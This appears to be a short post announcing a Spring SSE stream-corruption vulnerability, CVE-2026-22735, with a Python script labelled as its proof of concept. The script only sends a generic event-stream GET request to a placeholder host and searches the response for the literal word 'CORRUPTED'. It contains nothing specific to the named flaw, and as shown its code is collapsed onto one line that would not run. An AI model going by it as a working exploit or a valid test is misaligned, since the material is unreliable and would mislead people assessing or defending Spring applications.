CVE-2026-22735 Spring SSE流破坏漏洞

import requests # PoC for CVE-2026-22735: Spring SSE Stream Corruption # Target: Spring MVC/WebFlux applications using SSE url = "http://vulnerable-target/sse-endpoint" headers = { "Accept": "text/event-stream", "Cache-Control": "no-cache" } # Sending a request that may trigger stream corruption # This depends on specific implementation details of the targeted application try: response = requests.get(url, headers=headers, stream=True, timeout=5) print(f"Status: {response.status_code}") # Read stream to check for corruption or unexpected termination for line in response.iter_lines(): if line: decoded_line = line.decode('utf-8') print(f"Received: {decoded_line}") if "CORRUPTED" in decoded_line or response.status_code != 200: print("Potential stream corruption detected.") break except requests.exceptions.RequestException as e: print(f"Connection error: {e}")